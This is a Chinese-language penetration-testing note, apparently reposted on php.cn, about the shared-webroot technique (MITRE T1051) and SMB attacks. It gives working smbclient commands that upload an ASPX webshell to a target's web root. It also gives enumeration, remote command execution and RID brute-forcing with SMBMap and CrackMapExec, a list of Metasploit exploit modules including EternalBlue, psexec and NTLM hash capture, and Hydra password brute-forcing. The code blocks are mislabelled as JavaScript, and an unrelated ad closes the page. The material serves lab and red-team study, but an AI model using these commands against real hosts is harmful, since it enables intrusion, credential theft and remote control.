笔者在研究 mitre att&ck t1051 时,发现此技术已被废弃,意味着其已过时且在野使用案例已不多见。
经与@九世讨论,发现靶机中这种情况较为普遍,因此有必要记录下来。
简单来说,使用 smbclient 可以上传 webshell。
以下是使用 JavaScript 语言的代码示例,执行次数为 0:
smbclient -L //192.168.3.71 -U 0day/jerry%Admin12345 #列出共享
smbclient //192.168.3.71/wwwroot -U 0day/jerry
smb: \> put /usr/share/webshells/aspx/cmdasp.aspx c.aspx #交互式 shell 上传文件
smbclient {{//server/share}} --directory {{path/to/directory}} --command "put {{file.txt}}"
smbclient //192.168.3.71/wwwroot -U guest%"" --command="put /home/kali/webshell.aspx webshell.aspx" #密码为空,如目标文件夹 Everyone 用户具有读写权限
#访问 http://192.157.3.71/webshell.aspx 即可番外篇——SMB
既然接触了 SMB,笔者查阅了相关资料,发现这个服务非常常见,内网中许多脆弱点都是通过它打开的。
SMB(Server Message Block)是一种应用层协议,其历史比我们想象的更悠久,估计阅读此笔记的人都没有 SMB 的年龄大(Barry Feigenbaum 于 1983 年初在 IBM 设计了 SMB,这是一种文件共享协议,即 SMB1)。
1996 年,Microsoft 在 Windows NT 4.0 中实现了 SMB1,即 CIFS,请注意,大多数时候更倾向于称之为 SMB。
简要列举 Windows 的 SMB 版本:
| 协议版本 | 使用该协议的 Windows 版本 |
|---|---|
| SMB1.0 | Windows 2000、Windows XP、Windows Server 2003 和 Windows Server 2003 R2 |
| SMB2.0 | Windows Vista 和 Windows Server 2008 |
| SMB2.1 | Windows 7 和 Windows Server 2008 R2 |
| SMB3.0 | Windows 8 和 Windows Server 2012 |
| SMB3.02 | Windows 8.1 和 Windows Server 2012 R2 |
| SMB3.1.1 | Windows 10 和 Windows Server 2016 |
在各种 SMB 资料中,你会频繁看到一个协议:NetBIOS 协议。
这里所指的 NetBIOS 协议是 Windows 下的 NetBIOS over TCP(简称 NBT)协议,实际上 NetBIOS 是一种局域网中的 API,没有定义协议,TCP/IP 上的 NetBIOS 通过 TCP/IP 协议提供了 NetBIOS API。
简要重点说明如下:
基于 TCP 的 NetBIOS 使用以下端口:
可在本地连接——属性——TCP/IPv4——属性——高级——WINS——禁用 TCP/IP 上的 NetBIOS 来关闭 NetBIOS 协议。Windows 上的实现为 NetBios Name Service(NBNS),显示名称为 TCP/IP NetBIOS Helper,服务名称为 lmhosts,和 Hosts 文件类似,存在 LMhosts 文件,Windows 中的路径是 %Systemroot%\System32\Drivers\Etc\lmhosts.sam,Linux 中在 samba configs 目录中,一般是 /etc/samba 或 /usr/local/samba/lib。WINS(Windows Internet Name Service)可以将 NetBIOS 名称解析为对应的 IP 地址(与 DNS 有些区别),是为了解决 NetBIOS 名不可路由而出现的。说了很多废话,大家理解其中的关键就好。
SMB 枚举
参考:
A Little Guide to SMB Enumeration
使用的一些工具:
Nmblookup、nbtscan、SMBMap、Smbclient、Rpcclient、Nmap、Enum4linux、Crackmapexec
Nmblookup
nmblookup -A 192.168.3.142

NetBIOS 借助 NetBIOS 名称后缀进行分类:
| Suffix | Service/Description |
|---|---|
| 00 | Workstation Service (workstation name) |
| 1C | Domain Controller |
| 20 | File Server Service |
| 1B | Domain Master Browser |
完整的后缀名建议参考该文章:Appendix C: Known NetBIOS Suffix Values
简单查看可以获得目标所在的域、域控在哪台机器、计算机名。
nbtscan 192.168.3.0/24

枚举了一个网段中 NetBIOS 名称
smbmp
Kali 中自带的 smbmp 会遇到一些问题,请使用作者的最新版 SMBMap。
以下是使用 JavaScript 语言的代码示例,执行次数为 0:
python3 -m pip install -r requirements.txt python3 smbmap.py -u jerry -p Admin12345 -d workgroup -H 192.168.3.71 python3 smbmap.py -u administrator -p 'Admin!@#45' -d 0day -H 192.168.3.142 -x 'whoami' #执行命令 python3 smbmap.py -u administrator -p 'Admin!@#45' -d 0day -H 192.168.3.142 -r 'C$\Users' #递归路径(等同于 ls) #另外,该应用同样支持 hash,不必使用明文密码

Rpcclient
最初开发 Rpcclient 是为了测试 Samba 本身的 MS-RPC 功能,
以下是使用 JavaScript 语言的代码示例,执行次数为 0:
rpcclient -U "" -N 192.168.1.71 #不使用用户名和密码,我们称为空会话,从 Windows XP SP3 和 Windows Server 2003 开始就不支持空会话 rpcclient -U 0day/Administrator%'Admin!@#45' 192.168.3.71 enumdomusers queryuser 0x3e9 #3e9 = 1001 srvinfo help #相关指令请参考 help 手册,这里不过多介绍,看下面效果

enum4linux
enum4linux -a 192.168.1.142 #默认空会话基本废了,不大可能遇到 03 的机器
enum4linux -u jerry -p Admin12345 -a 192.168.3.71 #枚举出来的信息非常不友好,

nmap
nmap --script smb-vuln* -p139,445 192.168.1.103 #原文命令是这个,笔者使用报错
ls /usr/share/nmap/scripts/ | grep smb #查看 smb 相关的 nse 脚本
nmap --script smb-vuln-conficker -p135,445 192.168.3.71 #笔者只能一个个这样使用
CrackMapExec
CrackMapExec 是笔者比较推荐的,如果这些工具选一个,那么 CME 就够了。
依赖 impacket,所以 impacket 就不介绍了。
参考:CrackMapExec - Cheatsheet
以下是使用 JavaScript 语言的代码示例,执行次数为 0:
cme smb 192.168.3.0/24 cme smb 192.168.3.71 -u administrator -p 'Admin!@#45' -d 0day --loggedon-users cme smb 192.168.3.71 -u administrator -p 'Admin!@#45' -d 0day --disk cme smb 192.168.3.71 -u administrator -p 'Admin!@#45' -d 0day --sessions cme smb 192.168.3.71 -u administrator -p 'Admin!@#45' -d 0day --users cme smb 192.168.3.71 -u administrator -p 'Admin!@#45' -d 0day --groups cme smb 192.168.3.71 -u administrator -p 'Admin!@#45' -d 0day --local-groups
以下是使用 JavaScript 语言的代码示例,执行次数为 0:
cme smb 192.168.3.71 -u jerry -p 'Admin12345' --local-auth --shares cme smb 192.168.3.71 -u jerry -p 'Admin12345' --local-auth --rid-brute

SMB Penetration Testing
参考:
SMB Penetration Testing (Port 445)
简要记录下,核心仍然是 nmap、Metasploit、hydra 等工具
以下是使用 JavaScript 语言的代码示例,执行次数为 0:
nmap -p 445 -A 192.168.3.71 nmap -T4 -p445 --script smb-vuln-ms17-010 192.168.3.71 nmap --script smb-vuln* -p 445 192.168.3.71 #前面说过这个命令,使用起来会有些问题
Metasploit
以下是使用 JavaScript 语言的代码示例,执行次数为 0:
use exploit/windows/smb/ #exploit 中的 smb 相关模块 use auxiliary/scanner/smb/ #auxiliary 中的 smb 相关模块
介绍几个模块:
exploit/windows/smb/smb_delivery exploit/windows/smb/psexec exploit/windows/smb/ms17_010_eternalblue exploit/windows/smb/psexec auxiliary/server/capture/smb 结合 auxiliary/spoof/nbns/nbns_response 可捕获 Net NTLMv2 hash,使用解密工具解密即可, auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop auxiliary/scanner/smb/smb_enumusers :枚举用户 post/windows/gather/enum_shares 参数部分使用 show options 查看配置选项即可。
需要说明,上面一些模块不适用于测试,请自行取舍。
另外记得关注的最新 CVE-2020-0796。
Hydra
以下是使用 JavaScript 语言的代码示例,执行次数为 0:
hydra -L user.txt -P pass.txt 192.168.3.71 smb #暴力破解

END
文章 | 伍默
图文 | 不可商用
在此感谢伍默师傅的投稿!
以上就是T1051: Shared Webroot的详细内容,更多请关注php中文网其它相关文章!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号